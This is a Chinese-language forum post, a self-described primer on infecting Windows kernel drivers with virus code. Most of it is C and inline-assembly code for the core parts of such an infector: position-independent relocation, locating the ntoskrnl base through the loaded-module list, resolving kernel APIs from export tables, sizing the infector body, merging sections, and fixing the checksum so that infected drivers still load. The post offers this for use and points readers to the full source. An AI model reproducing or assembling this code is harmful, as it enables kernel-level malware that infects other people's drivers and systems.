HanDs
管理员

[Visual Studio文章] 驱动感染技术 





学习中请遵循国家相关法律法规,黑客不作恶。没有网络安全就没有国家安全

本站需要登陆后才能查看

驱动感染技术扫盲(C描述)  
Writer By 老Y
上周的上周的....周末有位同学提到过驱动感染问题,而刚好周末也没有地方可去,所以就有了这篇文章的出现.既然是扫盲版,那肯定是没有什么高深的东西了,只是一些奇淫技巧,高手请自动跳过。
好了,回归正题,很多年前(其实也就4, 5年,拌一下老人,呵呵)玩Ring3下PE感染的时候就用过相关的东西,那么我们来想想,一个标准的PE感染要解决哪几个问题呢?
1、重定位问题
在汇编里可以很简单的使用下面这种方式来重定位代码或全局数据:
Start:
call lbl_Next
lbl_Next:
pop ebx
sub ebx, 5
sub ebx, offset Start

要访问全局数据就这样:Mov eax, dword ptr[ebx + GlobalData]
那么用C语言里怎么重定位呢,呵呵,有人说过在C里不能嵌汇编吗?没有,嘿,那就用汇编,如:
/**
[email protected] 取得全局变量或函数重定位后的地址
*
[email protected][in] pVar 全局变量或函数的地址
[email protected] 返回全局变量或函数的实际地址
*/
PVOID KGetGlobalVarAddr(PVOID pVar)
{
   PVOID pCurAddr = NULL;
   __asm
   {
Start:
call lbl_Next
lbl_Next:
pop eax
sub eax, 5
sub eax, offset Start
add eax, pVar
mov pCurAddr, eax
   }
   return pCurAddr;
}

访问全局数据就成这样:pData = KGetGlobalVarAddr(&GlobalData);
2、引入表问题
得到ntoskrnl基址
大家都知道DriverEntry函数的第一个参数是一个DriverObject,该参数的结构如下
nt!_DRIVER_OBJECT
+0x000 Type          : Int2B
+0x002 Size          : Int2B
+0x004 DeviceObject     : Ptr32 _DEVICE_OBJECT
+0x008 Flags          : Uint4B
+0x00c DriverStart    : Ptr32 Void
+0x010 DriverSize    : Uint4B
+0x014 DriverSection : Ptr32 Void
+0x018 DriverExtension   : Ptr32 _DRIVER_EXTENSION
+0x01c DriverName    : _UNICODE_STRING
+0x024 HardwareDatabase : Ptr32 _UNICODE_STRING
+0x028 FastIoDispatch : Ptr32 _FAST_IO_DISPATCH
+0x02c DriverInit    : Ptr32
+0x030 DriverStartIo : Ptr32
+0x034 DriverUnload     : Ptr32
+0x038 MajorFunction : [28] Ptr32

其中DriverSection成员指向LDR_DATA_TABLE_ENTRY结构,如下:
+0x000 InLoadOrderLinks : _LIST_ENTRY
+0x008 InMemoryOrderLinks : _LIST_ENTRY
+0x010 InInitializationOrderLinks : _LIST_ENTRY
+0x018 DllBase       : Ptr32 Void
+0x01c EntryPoint    : Ptr32 Void
+0x020 SizeOfImage    : Uint4B
+0x024 FullDllName    : _UNICODE_STRING
+0x02c BaseDllName    : _UNICODE_STRING
+0x034 Flags          : Uint4B
+0x038 LoadCount        : Uint2B
+0x03a TlsIndex       : Uint2B
+0x03c HashLinks        : _LIST_ENTRY
+0x03c SectionPointer : Ptr32 Void
+0x040 CheckSum       : Uint4B
+0x044 TimeDateStamp : Uint4B
+0x044 LoadedImports : Ptr32 Void
+0x048 EntryPointActivationContext : Ptr32 Void
+0x04c PatchInformation : Ptr32 Void

DllBase、SizeOfImage、FullDllName、BaseDllName等等都是好东西呀,呵呵

通过遍历这张表得到ntoskrnl的基址和大小,如下

/**
[email protected] 根据驱动模块名返回对应的映像基址和映像大小
*
[email protected][in] pwszModuleName 驱动模块名
[email protected][in] pulModuleSize 返回驱动模块的大小

[email protected] 返回0表示失败,其它值是驱动模块基址
*/
ULONG KGetModuleBase(WCHAR *pwszModuleName, ULONG *pulModuleSize)
{
   ULONG ulModuleBase = 0;
   LIST_ENTRY *Entry = NULL;
   LDR_DATA_TABLE_ENTRY *DataTableEntry = NULL;
   PDRIVER_OBJECT DriverObject = KGetGlobalVarAddr(g_pDriverObject);

   Entry = ((LIST_ENTRY*)DriverObject->DriverSection)->Flink;
   do
   {
DataTableEntry = CONTAINING_RECORD(Entry,
   LDR_DATA_TABLE_ENTRY,
   InLoadOrderLinks);
if (DataTableEntry->EntryPoint &&
   DataTableEntry->BaseDllName.Buffer &&
   DataTableEntry->FullDllName.Buffer &&
   DataTableEntry->LoadCount
   )
{

   if ( !KWcsNiCmp(
       DataTableEntry->BaseDllName.Buffer,
       pwszModuleName,
       DataTableEntry->BaseDllName.Length / sizeof(WCHAR)
       )
       )
   {
       ulModuleBase = DataTableEntry->DllBase;
       if (pulModuleSize)
       {
      *pulModuleSize = DataTableEntry->SizeOfImage;
       }
       goto Exit0;
   }
}

Entry = Entry->Flink;

   }
   while (Entry != ((LIST_ENTRY*)DriverObject->DriverSection)->Flink);



Exit0:

   return ulModuleBase;
}
(注:也可以用上面的方法来枚举已经加载的驱动列表)


通过导出表取得函数地址

/**
[email protected] 根据函数名返回函数对应的RVA地址
*
[email protected][in] pe PE对象
[email protected][in] Name 导出表内的函数名

[email protected] 返回表示失败,其它值是函数的RVA地址
*/
ULONG KPEGetFuncRVAByName(KPELIB *pe, CHAR *pszFuncName)
{
   ULONG FuncRVA = 0;
   ULONG *puFuncNameAddress = 0;
   USHORT *puAddressOfOrd = 0;
   ULONG *puAddressOfFunc = 0;
   ULONG i = 0;
   USHORT Index = 0;
   PUCHAR pFuncName = NULL;
   ULONG FuncNameRVA = 0;


   PROCESS_ERROR(pe->pExportEntry);
   puFuncNameAddress = (ULONG*)( pe->pExportEntry->AddressOfNames +   pe->pMap);
   puAddressOfOrd = (USHORT*)( pe->pExportEntry->AddressOfNameOrdinals +   pe->pMap);
   puAddressOfFunc = (ULONG*)( pe->pExportEntry->AddressOfFunctions +   pe->pMap);
   for (i = 0; i <   pe->pExportEntry->NumberOfNames; i++)
   {
Index = puAddressOfOrd[i];

FuncNameRVA = puFuncNameAddress[i];
pFuncName = (PUCHAR)( pe->pMap + FuncNameRVA);

if (KStrCmp(pszFuncName, (CHAR*)pFuncName) == 0)
{
   FuncRVA = puAddressOfFunc[Index];
   break;
}

   }


Exit0:
   return FuncRVA;
}

/**
[email protected] 根据内核映像初始一个PE对象
*
[email protected][in] Buffer 内核映像基址
[email protected][in] uFileSize 内核映像大小
[email protected][out]   pe PE对象
[email protected] 返回STATUS_SUCCESS时成功,其它值为失败
*/
int KPEInitFromMem(PUCHAR Buffer, ULONG uFileSize, KPELIB *pe)
{
   int nResult = STATUS_UNSUCCESSFUL;

   if (!pe)
   {
goto Exit0;
   }

   pe->pDosHdr = (PIMAGE_DOS_HEADER)Buffer;
   pe->pNtHdr = (PIMAGE_NT_HEADERS32)(Buffer +   pe->pDosHdr->e_lfanew);
   pe->pSecHdr = (PIMAGE_SECTION_HEADER)(
pe->pDosHdr->e_lfanew +
pe->pNtHdr->FileHeader.SizeOfOptionalHeader +

0x18 + Buffer
);

   pe->pExportEntry = (PIMAGE_EXPORT_DIRECTORY)(
Buffer +
pe->pNtHdr->OptionalHeader.DataDirectory[0].VirtualAddress
);

   pe->pImportEntry = (PIMAGE_IMPORT_DESCRIPTOR)(
Buffer +
pe->pNtHdr->OptionalHeader.DataDirectory[1].VirtualAddress
);

   pe->pBaseReloc = (PIMAGE_BASE_RELOCATION)(
Buffer +
pe->pNtHdr->OptionalHeader.DataDirectory[5].VirtualAddress
);

   pe->IsInitSuccessed = TRUE;
   pe->pMap = Buffer;
   pe->uMapSize = uFileSize;
   nResult = STATUS_SUCCESS;
Exit0:
   return nResult;
}

/**
[email protected] 根据函数名得到函数的地址,可以理解为GetProcAddress
*
[email protected][in] pwszModuleName 驱动模块名
[email protected][in] pszFuncName 函数名

[email protected] 返回表示失败,其它值是函数的地址
*/
ULONG KGetApiAddr(WCHAR *pwszModuleName, CHAR *pszFuncName)
{
   int nRetCode = FALSE;
   ULONG   ulApiAddr = 0;
   ULONG   ulNtosBase = 0;
   ULONG   ulNtosSize = 0;
   KPELIB   pe;

  

   ulNtosBase = KGetModuleBase(KGetGlobalVarAddr(pwszModuleName), &ulNtosSize);
   if (!ulNtosBase)
   {
goto Exit0;
   }

   nRetCode = KPEInitFromMem((PUCHAR)ulNtosBase, ulNtosSize, &pe);
   if(!NT_SUCCESS(nRetCode))
   {
goto Exit0;
   }

   ulApiAddr = KPEGetFuncRVAByName(&pe, KGetGlobalVarAddr(pszFuncName));
   if (!ulApiAddr)
   {
goto Exit0;
   }

   ulApiAddr += ulNtosBase;

Exit0:

   return ulApiAddr;
}
使用示例:
WCHAR g_Ntoskrnl[] = L"ntoskrnl.exe";
CHAR   g_ApiName[] = "NtCreateFile";
pFunc = KGetApiAddr(
KGetGlobalVar(g_Ntoskrnl),
KGetGlobalVar(g_ApiName)
);
其它的不多说了,大家应该对这块是已经熟得不能再熟了^_^

3、感染体大小的取得
我的解决方案是:
在所有的代码和数据前面放置KGetStartAddr函数
/**
[email protected] 取得当前函数的地址
*
[email protected] 返回当前函数的地址
*/
ULONG __declspec(naked) KGetStartAddr()
{
   __asm
   {
call lbl_Next
lbl_Next:
pop eax
sub eax, 5
ret
   }
}
在所有的代码和数据前面放置KGetEndAddr函数

/**
[email protected] 取得当前函数末的地址
*
[email protected] 返回前函数末的地址
*/
ULONG __declspec(naked) KGetEndAddr()
{
   __asm
   {
call lbl_Next
lbl_Next:
pop eax
add eax, 5
ret
   }
}

感染体大小= KGetEndAddr() - KGetStartAddr()

4、把.data节和.text节合并
方法:
   把VC2005的工程属性Linker->Advanced->Merge Sections字段改成.data=.text

5、重新计算文件CheckSum,对于驱动来说,这个很重要,不重新计算驱动会加载失败
从2000源代码里A出来的,具体看源代码
6、记不起来了,具体看源代码,自己慢慢调,慢慢蓝,嘿


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
驱动 感染 技术
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组
快速回复